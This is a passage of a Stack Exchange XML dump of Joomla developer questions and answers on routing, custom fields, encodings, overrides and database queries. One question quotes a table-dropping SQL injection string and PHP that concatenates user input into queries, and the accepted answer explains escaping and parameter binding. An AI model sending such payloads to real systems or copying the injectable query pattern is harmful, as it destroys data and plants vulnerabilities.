3.0" />
  <row Id="22698" PostTypeId="2" ParentId="22688" CreationDate="2018-04-17T10:09:03.863" Score="2" Body="&lt;p&gt;As far as question goes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is option to disable the website in global configuration&lt;/li&gt;&#xA;&lt;li&gt;Go to permissions page of the global configuration&lt;/li&gt;&#xA;&lt;li&gt;Allow &quot;registered&quot; user group to &quot;access site&quot; when it's offline (allowed to admins only by default)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2018-04-17T10:09:03.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22699" PostTypeId="2" ParentId="22583" CreationDate="2018-04-17T10:33:00.920" Score="1" Body="&lt;p&gt;You can not do it like this, because that's responsibility of another component and not of the user Model/Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields('com_users.user', $user, true);&#xA;array_map(function($field)use(&amp;amp;$user){&#xA;    $prop = str_replace('-','_',$field-&amp;gt;name);&#xA;    $val = $field-&amp;gt;value;&#xA;    $user-&amp;gt;$prop = $val;&#xA;},$fields);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That's on fly produced example that is born from the code that worked for me at another project (initial code below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$events = array_map(function($event){&#xA;    $event-&amp;gt;images = (new Joomla\Registry\Registry())-&amp;gt;loadString($event-&amp;gt;images);&#xA;    $fields = FieldsHelper::getFields('com_content.article', $event, true);&#xA;    array_map(function($field)use(&amp;amp;$event){&#xA;        $prop = str_replace('-','_',$field-&amp;gt;name);&#xA;        $val = $field-&amp;gt;value;&#xA;        $event-&amp;gt;$prop = $val;&#xA;    },$fields);&#xA;    return $event;&#xA;},$events);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2018-04-17T10:33:00.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22700" PostTypeId="2" ParentId="22697" CreationDate="2018-04-17T12:39:40.933" Score="1" Body="&lt;p&gt;This can be caused by any number of reasons. You will need to set the error reporting to &quot;maximum&quot; in your configuration.php file (which is located at the same level of the index.php file, e.g. in the main folder of your Joomla site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, if a website fails all of a sudden without anyone doing anything on it, then it might be because it is hacked, or it might be something changed in the host environment.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-04-17T12:39:40.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22701" PostTypeId="2" ParentId="11051" CreationDate="2018-04-17T13:31:05.087" Score="0" Body="&lt;p&gt;Look for a plugin called &quot;ScriptsDown&quot; in the JED&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-04-17T13:31:05.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22703" PostTypeId="2" ParentId="16223" CreationDate="2018-04-17T17:01:03.730" Score="1" Body="&lt;p&gt;You can not achieve it the way you trying to because if you look at the router code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;link that starts with index.php should be passed, not with http(s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to achieve routing is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?Itemid=164')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you would like to have absolute sef url you need to prepend &lt;code&gt;root&lt;/code&gt; after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::root().JRoute::_('index.php?Itemid=164')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2018-04-17T17:01:03.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22704" PostTypeId="1" CreationDate="2018-04-17T18:17:10.520" Score="1" ViewCount="149" Body="&lt;p&gt;How do I set unique page titles for blog pages like these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/news?limitstart=0&#xA;/news?start=3&#xA;/news?start=6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are pages of blog articles from my blog page on my site. &lt;/p&gt;&#xA;" OwnerUserId="12452" LastActivityDate="2018-08-30T03:01:39.363" Title="Creating unique page titles for blog pages" Tags="|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22705" PostTypeId="1" AcceptedAnswerId="22706" CreationDate="2018-04-17T22:46:19.363" Score="2" ViewCount="66" Body="&lt;p&gt;I'm having a Joomla website and I'd like to download it and and set it up locally on my pc. So, I'm having a general idea of how I should do it: Download XAMPP and set it up, backup my joomla website and upload the backup on the xampp's htdocs folder. The problem is how i integrate the website's database with the local version of the website i have set up.&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2018-04-18T04:29:01.660" Title="Create a local version of my website" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ClosedDate="2018-04-19T23:49:33.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="22706" PostTypeId="2" ParentId="22705" CreationDate="2018-04-18T04:29:01.660" Score="4" Body="&lt;p&gt;This task is actually pretty easy. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Akeeba Backup&lt;/li&gt;&#xA;&lt;li&gt;create a backup. This includes files and database&lt;/li&gt;&#xA;&lt;li&gt;download Akeeba Kickstart&lt;/li&gt;&#xA;&lt;li&gt;use Kickstart to install the backup on your local environment &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/products/akeeba-backup.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/products/akeeba-kickstart.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to a local environment I use vagrant. It creates a virtual machine and makes fiddling around with a Windows unnecessary. Also you can always reset it. No old data, always a dedicated fresh environment. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-04-18T04:29:01.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22707" PostTypeId="2" ParentId="22697" CreationDate="2018-04-18T06:48:16.760" Score="3" Body="&lt;p&gt;Please check you have connected to correct Database of your site , Check below stuff in configuration.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost'; // Database host name&#xA;public $user = 'database_name'; //e.g root&#xA;public $password = 'database_password'; //e.g root&#xA;public $db = 'database_name';&#xA;public $dbprefix = 'db_prefix_of_ur_database_tables'; // e.g u5mip_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9104" LastActivityDate="2018-04-18T06:48:16.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22708" PostTypeId="1" CreationDate="2018-04-18T11:31:34.513" Score="1" ViewCount="430" Body="&lt;p&gt;I recently performed an upgrade of a bunch of extensions on our Joomla site (the site is running Joomla 3.8.6 and was upgraded from 3.8.5 at the same time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the updates on a stand-alone test box and confirmed everything was working, then repeated the same updates on the production system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the test box, there are no issues. However on the production box, we have two (possibly related) problems.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Account activation emails are sent, but clicking the link fails to activate the account; it simply dumps the user back to the site home page, without any confirmation or error message.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Password reminder emails are not sent. After entering a valid email address, it simply dumps the user back to the site home page, without any confirmation or error message.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm specifically asking for help here with the first problem as that's the one I'm tackling first, but I mention the second as well, in case they are related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated, the test system is running apparently identical software, but does not present either of these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no obvious error messages in any logs, nor does anything show up if I turn on debugging and error reporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one thing that seems weird, which may be relevant: in both cases, after redirecting to the site home page, we get an additional cookie &lt;code&gt;joomla_user_state = deleted&lt;/code&gt;. I can't work out why this cookie would be appearing, but I am assuming that it's relevant to the issue somehow. I have searched the Joomla code base (and all the extensions), and I can't find anywhere that sets this cookie to &lt;code&gt;deleted&lt;/code&gt; (or indeed to any value other than blank).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current best guess is that one of the user plugins is doing something bizarre before the user record can be saved. But I can't see anything wrong there, and as far as I know, none of the extensions that were upgraded were user plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me understand what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to add further detail if there are any questions that might help.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2018-10-16T19:56:48.497" Title="Account activation link not working" Tags="|user|login|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22709" PostTypeId="1" AcceptedAnswerId="22712" CreationDate="2018-04-18T18:25:35.960" Score="5" ViewCount="2417" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$searchP = JRequest::getVar('key');&#xA;$sql = &quot;SELECT name FROM people LIKE &quot; . &quot;'%&quot; . $searchP . &quot;%'&quot;;&#xA;&#xA;$db-&amp;gt;setQuery($sql);&#xA;$fileR = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will setQuery() throw an error for having two SQL statements in the same string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, according to my code, is it possible to execute a drop table command by passing this query parameter or something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key=a'; DROP TABLE people; # &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore will using something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true); &#xA;$query -&amp;gt;setLimit('1');&#xA;$query -&amp;gt;select($db-&amp;gt;quoteName('name'));&#xA;$query -&amp;gt;from($db-&amp;gt;quoteName('people'));&#xA;$query -&amp;gt;like($db-&amp;gt;quoteName($searchP));&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prevent injection since the query object's query limit is being set to 1?&lt;/p&gt;&#xA;" OwnerUserId="12459" LastEditorUserId="12352" LastEditDate="2021-09-13T23:03:42.710" LastActivityDate="2023-03-23T11:50:53.143" Title="SQL Injections using Jfactory::getDBO and setQuery() with LIKE condition" Tags="|joomla-3.x|mysql|jdatabase|sql|joomla3.8.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22710" PostTypeId="1" AcceptedAnswerId="22730" CreationDate="2018-04-18T20:23:41.443" Score="0" ViewCount="69" Body="&lt;p&gt;In the past when I did an article override I used to get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;default.php&lt;/code&gt;&#xA;&lt;code&gt;default_item.php&lt;/code&gt;&#xA;&lt;code&gt;default_links.php&lt;/code&gt;&#xA;&lt;code&gt;default_child.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of which were placed in &lt;code&gt;templates/MYTEMPLATE/html/com_content/article/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I do an override I only get &lt;code&gt;default.php&lt;/code&gt; and &lt;code&gt;default_links.php&lt;/code&gt;.  The old &lt;code&gt;default.php&lt;/code&gt; used to contain the part which has &lt;code&gt;span12&lt;/code&gt; in it.  Here's the code in question which can be found on any single article page.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;platform-content row-fluid&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;    &amp;lt;!-- the start of my single article override --&amp;gt;&#xA;    &amp;lt;div class=&quot;local-area&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I look in &lt;code&gt;components/com_content/views/article/tmpl&lt;/code&gt; I still don't see the oldfiles to copy.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What happened to them and why?&lt;/li&gt;&#xA;&lt;li&gt;How do old overrides still work?&lt;/li&gt;&#xA;&lt;li&gt;And most of all, how can I remove span12 from the div prior to the article?  I'm doing a pretty big override and I need to put something just before that.  I know I can do this with JavaScript but I prefer to use an override if possible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-04-20T15:14:35.220" LastActivityDate="2018-12-18T01:02:35.513" Title="How can I remove span12 from the div before the article" Tags="|overrides|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22711" PostTypeId="2" ParentId="22685" CreationDate="2018-04-18T21:58:42.207" Score="1" Body="&lt;p&gt;In order to call the 404 error page from your component, simply raise a 404 error using JError. For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32" LastActivityDate="2018-04-18T21:58:42.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22712" PostTypeId="2" ParentId="22709" CreationDate="2018-04-19T03:41:52.653" Score="8" Body="&lt;p&gt;You won't need to worry about sql injection attacks if you use the &lt;code&gt;quote()&lt;/code&gt; ( or &lt;code&gt;q()&lt;/code&gt;) and &lt;code&gt;quoteName()&lt;/code&gt; (or &lt;code&gt;qn()&lt;/code&gt;) methods appropriately.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Secure_on_search&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Secure_coding_guidelines#Secure_on_search&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Secure on search&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Special attention should be paid to LIKE clauses&#xA;which contain the % wildcard character as these require special&#xA;escaping in order to avoid possible denial of service attacks. LIKE&#xA;clauses can be handled like this:&lt;/p&gt;&#xA;&lt;p&gt;// Construct the search term by escaping the user-supplied string and,&#xA;if required, adding the % wildcard characters manually.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$search = '%' . $db-&amp;gt;escape( $search, true ) . '%' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;// Construct the SQL query, being careful to suppress the default&#xA;behaviour of Quote so as to prevent double-escaping.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = 'SELECT  * FROM #__table WHERE `field` LIKE ' . $db-&amp;gt;quote( $search, false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;-&amp;gt;like()&lt;/code&gt;, as far as I have researched, doesn't exist. So, based on the above documentation recommendation and assuming you want to search the &lt;code&gt;name&lt;/code&gt; column, I'll suggest the following code block:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;qn('name'))&#xA;            -&amp;gt;from($db-&amp;gt;qn('people'))&#xA;            -&amp;gt;where($db-&amp;gt;qn('name') . ' LIKE ' . $db-&amp;gt;q('%' . $db-&amp;gt;escape($searchP, true) . '%', false));&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When performing a &lt;code&gt;LIKE&lt;/code&gt; query it is often logical to receive multiple rows of data in the resultset.  Since I believe you were merely using the &lt;code&gt;setLimit()&lt;/code&gt; method as a security precaution, I'll remove it for the sake of improved querying.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/22374054/2943403&quot;&gt;A relevant post from Lodder from 2014&lt;/a&gt; regarding prepared statements in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;The intent/effect of quote(escape()) method in my code block above is to ensure that no matter what string is passed to the query, the string is always treated as a single value in the expression.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;From Joomla4, &lt;code&gt;bind()&lt;/code&gt; can be used in conjunction with a placeholder.  The previously scripted query can simplified to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$searchLike = &amp;quot;%$searchP%&amp;quot;; // declare search value wrapped in wildcard characters&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;qn('name'))&#xA;            -&amp;gt;from($db-&amp;gt;qn('people'))&#xA;            -&amp;gt;where($db-&amp;gt;qn('name') . ' LIKE :search')&#xA;            -&amp;gt;bind(':search', $searchLike);&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the bound value must be declared as a variable in advance.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-03-23T11:50:53.143" LastActivityDate="2023-03-23T11:50:53.143" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22713" PostTypeId="1" AcceptedAnswerId="22715" CreationDate="2018-04-19T06:31:40.917" Score="1" ViewCount="67" Body="&lt;p&gt;I am trying to dynamically update a variable in a link depending on the page class, but I cannot seem to get the variable &lt;code&gt;ebox&lt;/code&gt; to update in the if/else statement below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present the variable is always &lt;code&gt;0&lt;/code&gt;, which is how it is initialised. I have implemented the code &lt;s&gt;&lt;a href=&quot;https://sitewidedesign.co.uk/pancake/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/s&gt; and set up page classes for the &lt;code&gt;home&lt;/code&gt;, &lt;code&gt;about&lt;/code&gt; and &lt;code&gt;contact&lt;/code&gt; pages as per the code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the &lt;code&gt;ebox&lt;/code&gt; value never becomes the intended &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt;, or &lt;code&gt;3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to what I am missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$menu  = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$class = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    var pageclass = &quot;'&amp;lt;?php echo $class ;?&amp;gt;'&quot;;&#xA;    var ebox = 0;&#xA;    document.write(pageclass, ebox);&#xA;&#xA;    if (pageclass == &quot;home&quot;) {&#xA;        ebox = 1;&#xA;    } &#xA;    else if (pageclass == &quot;about&quot;) {&#xA;        ebox = 2;&#xA;    }&#xA;    else if (pageclass == &quot;contact&quot;) {&#xA;        ebox = 3;&#xA;    }&#xA;&#xA;    document.write('&amp;lt;a class=&quot;btn&quot; data-ebox=&quot;' + ebox + '&quot; href=&quot;#&quot;&amp;gt;Menu&amp;lt;/a&amp;gt;');&#xA;    document.write(pageclass,ebox);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2018-05-27T18:50:57.493" LastActivityDate="2018-05-27T18:50:57.493" Title="Cannot get variable to update in IF/Else statement based on page class" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22715" PostTypeId="2" ParentId="22713" CreationDate="2018-04-19T06:55:30.633" Score="2" Body="&lt;p&gt;It seems your &lt;code&gt;pageclass&lt;/code&gt; value is being declared as &lt;code&gt;'home'&lt;/code&gt; (single-quoted), but you intend for it to be &lt;code&gt;home&lt;/code&gt;. Just remove the single quotes, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var pageclass = &quot;&amp;lt;?php echo $class; ?&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This syntax provides the same effect with improved brevity:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var pageclass = &quot;&amp;lt;?=$class?&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this post regarding &lt;a href=&quot;https://stackoverflow.com/q/1386620/2943403&quot;&gt;PHP short tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9104" LastEditorUserId="12352" LastEditDate="2018-05-27T05:34:47.787" LastActivityDate="2018-05-27T05:34:47.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22716" PostTypeId="1" CreationDate="2018-04-19T07:25:52.923" Score="1" ViewCount="636" Body="&lt;p&gt;I have a website for my football team. I have some statistics and so on in there, for example how many games each player has played and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like, is for me to write in the names of every player in the game and then update the db table with +1 in &lt;code&gt;matches&lt;/code&gt; column for each player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just made a frontend with form fields like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;playername[]&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;playername[]&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on, for 14 players.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend, I wrote this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$playername = $jinput-&amp;gt;getString('playername');&#xA;&#xA;foreach ($playername as $key =&amp;gt; $k) {&#xA;&#xA;    $fields = array(&#xA;        $db-&amp;gt;quoteName('matches') . ' = ' . $db-&amp;gt;quoteName('matches') . ' + 1 '&#xA;    );&#xA;&#xA;    $conditions = array(&#xA;        $db-&amp;gt;quoteName('name') . ' = ' . $db-&amp;gt;quote($k)&#xA;    );&#xA;&#xA;    $query-&amp;gt;update($db-&amp;gt;quoteName('my_players'))-&amp;gt;set($fields)-&amp;gt;where($conditions);    &#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it only adds 1 match to the first name in the list. I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $k;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it prints out all of the names. Can you help me?&lt;/p&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="12352" LastEditDate="2019-10-08T20:01:08.103" LastActivityDate="2024-02-15T04:08:06.043" Title="UPDATE query to add 1 to multiple columns" Tags="|joomla-3.x|mysql|database|jinput|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22717" PostTypeId="2" ParentId="22686" CreationDate="2018-04-19T08:02:49.000" Score="0" Body="&lt;p&gt;It was the lodash library causing the issue. I have used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;num = Math.floor(Math.random() * 11); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has fixed the issue. &lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-04-19T08:02:49.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22718" PostTypeId="1" CreationDate="2018-04-19T08:44:39.437" Score="0" ViewCount="845" Body="&lt;p&gt;I have a simple sql query, in a joomla php server, rs forms pro. The result contains Greek characters. However, the result is displayed in question marks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT `FieldValue` FROM `table` where `FieldName` = 'age' and `SubmissionId` =   &quot;.$submissionId.&quot;&#xA;&quot;;&#xA;&#xA;&#xA;$result = $conn-&amp;gt;query($sql);&#xA;&#xA;if ($result-&amp;gt;num_rows &amp;gt; 0) {&#xA;    // output data of each row&#xA;    while($row = $result-&amp;gt;fetch_assoc()) &#xA;&#xA;{ echo&#xA;     $row[&quot;FieldValue&quot;] ; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;??? 20 ???? (question marks should be Greek letters)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using convert as utf8, and it did not work. &#xA;Likewise with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; header('Content-type: text/plain; charset=utf-8');&#xA;header('Content-Type: charset=utf-8');&#xA;mysqli_set_charset($con, 'utf8mb4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They did not work either. What else can i do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $sql = &quot;SELECT CONVERT(`FieldValue` USING utf8) as `FieldValue`&#xA;  FROM `table` where `FieldName` = 'age' and `SubmissionId` =   &quot;.$submissionId.&quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12460" LastActivityDate="2018-04-19T09:31:58.930" Title="Php-sql result in joomla displayed in question marks" Tags="|php|mysql|rsform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22719" PostTypeId="2" ParentId="22718" CreationDate="2018-04-19T09:13:01.917" Score="2" Body="&lt;p&gt;Try doing below stuff if you are using mysql:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after you connect to the mysql, do this query to make sure that you are using UTF8:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql_query(&quot;SET NAMES 'utf8'&quot;);&#xA;mysql_query(&quot;SET CHARACTER SET 'utf8'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also make sure you are using right encoding in your html head&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this does not work you can try different character sets for the same.&#xA;This &lt;a href=&quot;https://mathiasbynens.be/notes/mysql-utf8mb4&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; might help you, Also one suggestion Use Joomla's methods for &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;query building&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9104" LastEditorUserId="9104" LastEditDate="2018-04-19T09:31:58.930" LastActivityDate="2018-04-19T09:31:58.930" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22721" PostTypeId="1" CreationDate="2018-04-19T15:34:23.700" Score="0" ViewCount="112" Body="&lt;p&gt;Trying to display the avatar(image) from a folder already stored using a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: image not displayed. I found the URL doubled in the inspect element:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------inspect element--------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;background-image: url(&lt;a href=&quot;http://phpstack-130512-487107.cloudwaysapps.com/site/http%3A//phpstack-130502-487107.cloudwaysapps.com/site/components/com_jux_testimonial/uploads/5ad865a54354a-seyaligal-LOGO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://phpstack-130512-487107.cloudwaysapps.com/site/http%3A//phpstack-130502-487107.cloudwaysapps.com/site/components/com_jux_testimonial/uploads/5ad865a54354a-seyaligal-LOGO.jpg&lt;/a&gt;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------inspect element--------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited the inspect element code and 